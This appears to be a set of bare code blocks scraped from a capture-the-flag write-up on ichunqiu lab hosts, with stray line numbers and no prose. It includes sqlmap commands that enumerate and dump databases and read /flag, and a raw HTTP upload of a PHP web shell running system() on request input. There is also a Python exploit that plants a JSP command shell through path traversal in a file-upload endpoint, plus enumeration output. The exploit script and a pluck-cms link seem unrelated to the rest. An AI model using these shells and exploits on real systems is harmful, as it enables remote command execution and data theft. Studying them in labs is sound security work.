1

python sqlmap.py -r 1.txt --dbs  --random-agent -p eid

1

python sqlmap.py -r 1.txt -D ctf -T flag -C flag --dump  --random-agent -p eid

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33

POST /php_action/editProductImage.php?id=1 HTTP/1.1
Host: eci-2zegbcou4c05rxuhfujv.cloudeci1.ichunqiu.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------208935235035266125502673738631
Content-Length: 556
Connection: close
Cookie: PHPSESSID=t1jo541l52f76t9upiu0pbqv0c
Upgrade-Insecure-Requests: 1

-----------------------------208935235035266125502673738631
Content-Disposition: form-data; name="old_image"


-----------------------------208935235035266125502673738631
Content-Disposition: form-data; name="productImage"; filename="shell.php"
Content-Type: image/jpeg

<?php
if($_REQUEST['s']) {
  system($_REQUEST['s']);
  } else phpinfo();
?>
</pre>
</body>
</html>
-----------------------------208935235035266125502673738631
Content-Disposition: form-data; name="btn"


-----------------------------208935235035266125502673738631--

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31

import requests, urllib3, sys
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

if len(sys.argv) != 3:
    print(f"Usage: python3 {sys.argv[0]} https://host shell.jsp")
    exit()
    
host, file = sys.argv[1:]
shell = """<FORM>
    <INPUT name='cmd' type=text>
    <INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
    <%
    String cmd = request.getParameter("cmd");
    String output = "";
    if(cmd != null) {
        String s = null;
        try {
            Process p = Runtime.getRuntime().exec(cmd,null,null);
            BufferedReader sI = new BufferedReader(new
InputStreamReader(p.getInputStream()));
            while((s = sI.readLine()) != null) { output += s+"</br>"; }
        }  catch(IOException e) {   e.printStackTrace();   }
    }
%>
        <pre><%=output %></pre>"""

files = {f"../../../../repository/deployment/server/webapps/authenticationendpoint/{file}": shell}
response = requests.post(f'{host}/fileupload/toolsAny', files=files, verify=False)
print(f"shell @ {host}/authenticationendpoint/{file}")

1

python sqlmap.py -u http://eci-2zeg7t9zem78xthlwwim.cloudeci1.ichunqiu.com/single.php?id=1 --dbs

1

python sqlmap.py -u http://eci-2zeg7t9zem78xthlwwim.cloudeci1.ichunqiu.com/single.php?id=1 -D ctf -T flag -C flag --dump

1
2
3
4
5
6

available databases [5]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] php_cms
[*] sys

1
2
3
4
5
6
7
8

Database: php_cms
[4 tables]
+------------+
| categories |
| comments   |
| posts      |
| users      |
+------------+

1
2
3
4
5
6
7
8
9
10

+----------------+--------------+
| Column         | Type         |
+----------------+--------------+
| user_email     | varchar(255) |
| user_firstname | varchar(255) |
| user_id        | int(3)       |
| user_lastname  | varchar(255) |
| user_name      | varchar(255) |
| user_password  | varchar(255) |
+----------------+--------------+

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

[10 columns]
+--------------------+--------------+
| Column             | Type         |
+--------------------+--------------+
| post_author        | varchar(255) |
| post_category_id   | int(3)       |
| post_comment_count | varchar(255) |
| post_content       | text         |
| post_date          | date         |
| post_id            | int(3)       |
| post_image         | text         |
| post_status        | varchar(255) |
| post_tags          | varchar(300) |
| post_title         | varchar(255) |
+--------------------+--------------+

1
2
3
4
5
6
7
8
9

Database: php_cms
Table: categories
[2 columns]
+-----------+--------------+
| Column    | Type         |
+-----------+--------------+
| cat_id    | int(11)      |
| cat_title | varchar(255) |
+-----------+--------------+

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

Database: php_cms
Table: comments
[7 columns]
+-----------------+--------------+
| Column          | Type         |
+-----------------+--------------+
| comment_author  | varchar(255) |
| comment_content | text         |
| comment_date    | date         |
| comment_email   | varchar(255) |
| comment_id      | int(3)       |
| comment_post_id | int(3)       |
| comment_status  | varchar(255) |
+-----------------+--------------+

1

python3 sqlmap.py -r 1.txt  --file-read "/flag" --dbms Mysql

1

https://github.com/pluck-cms/themes